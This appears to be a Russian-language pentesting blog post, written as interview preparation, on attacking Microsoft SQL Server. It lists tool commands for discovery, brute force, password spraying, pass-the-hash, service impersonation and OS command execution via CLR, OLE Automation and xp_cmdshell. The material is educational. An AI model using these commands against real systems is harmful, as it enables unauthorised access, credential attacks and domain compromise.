На собеседованиях я часто спрашиваю про абьюз Microsoft SQL Server, и, к моему удивлению, многие знают о нём поверхностно. А ведь MSSQL широко используется в корпоративных сетях и при неправильной настройке может стать удобной точкой входа для атакующего.
В этом посте я постарался собрать основные техники абьюза MSSQL, которые помогут лучше понять возможные векторы атак, подготовиться к собеседованию и собрать ваши знания воедино.
📖 Немного теории
Microsoft SQL Server (MSSQL) — это реляционная СУБД от Microsoft, активно используемая в корпоративных сетях для хранения и обработки данных.
Основные компоненты:
🔹 Database Engine — отвечает за хранение, обработку и управление данными.
🔹 SQL Server Agent — автоматизация задач (например, резервное копирование).
🔹 SQL Server Browser — помогает клиентам находить MSSQL-инстансы.
🔹 SSIS (SQL Server Integration Services) — инструмент для интеграции данных.
🔹 SSRS (SQL Server Reporting Services) — генерация отчетов.
🔹 SSAS (SQL Server Analysis Services) — аналитика и обработка данных.
Основные роли в MSSQL:
🔹 sysadmin — полные привилегии на сервере.
🔹 db_owner — полные права в конкретной базе данных.
🔹 db_datareader — доступ только на чтение данных.
🔹 db_datawriter — возможность изменять данные.
🔹 public — назначается всем пользователям по умолчанию и может давать больше доступа, чем кажется.
Способы аутентификации:
🔹Windows Authentication — через доменную аутентификацию (NTLM/Kerberos).
🔹 SQL Authentication — локальные учетные записи MSSQL (sa, пользовательские логины).
Обнаружение MSSQL в сети
Прежде чем “что-то” ломать, нам это “что-то” надо найти.
#PowerUpSQL
Get-SQLInstanceDomain
#nmap
nmap -p 1433 --script ms-sql-info <IP>
#Metasploit
auxiliary/scanner/mssql/mssql_ping
#go-windapsearch
go-windapsearch -d domain.local -u Administrator -p 'password1111' -m custom --filter="(&(objectClass=computer)(servicePrincipalName=*MSSQLSvc/*))" --attrs cn,servicePrincipalName
🥰 Доступ к MSSQL
#brute force
hydra -L users.txt -P pass.txt <IP> mssql
netexec mssql <target-ip> -u username -p passwords.txt
#password spraying
netexec mssql example.com -u usernames.txt -p 'password' --no-bruteforce --continue-on-success
#Pass-the-Hash
netexec mssql example.com -u usernames.txt -H <NTLM_HASH> --continue-on-success
impacket-mssqlclient DOMAIN/user@IP -hashes <YourHash>
🤪 Повышение привилегий: от локального админа до sysadmin
Основной процесс SQL Server — это sqlservr.exe. Даже если у учетной записи SQL Server в Windows нет высоких привилегий, в самом SQL Server она по умолчанию получает роль sysadmin.
Компрометация службы SQL Server может привести к компрометации всего домена!
Шаг 1: Найдём локальный SQL Server.
# PowerUpSQL
Get-SQLInstanceLocal
Шаг 2: Получаем учетную запись SQL Server
#PowerUpSQL
Invoke-SQLImpersonateService -Verbose -Instance your_instance_name
🤗 Выполнение команд в OS через MSSQL
Злоумышленник, имея доступ к MSSQL, может выполнить команды Windows на сервере. Может он это сделать следующими способами:
🔹CLR (Common Language Runtime) Assembly — это механизм в Microsoft SQL Server, который позволяет выполнять .NET-код (C#, VB.NET, etc.) внутри базы данных.
#PowerUpSQL
Invoke-SQLOSCLR -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"
🔹OLE Automation Procedures — это механизм в Microsoft SQL Server, который позволяет запускать объекты COM (Component Object Model) напрямую из T-SQL.
#PowerUpSQL
Invoke-SQLOSOle -Username sa -Password Pass123 -ServerInstance <IP> -Command "whoami"
🔹xp_cmdshell - встроенная хранимая процедура в Microsoft SQL Server, которая позволяет выполнять команды Windows напрямую из T-SQL
#SQL Server CLI
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
#PowerUpSQL
Invoke-SQLOSCmd -Username sa -Password sa -Instance your_instance_name -Command "whoami"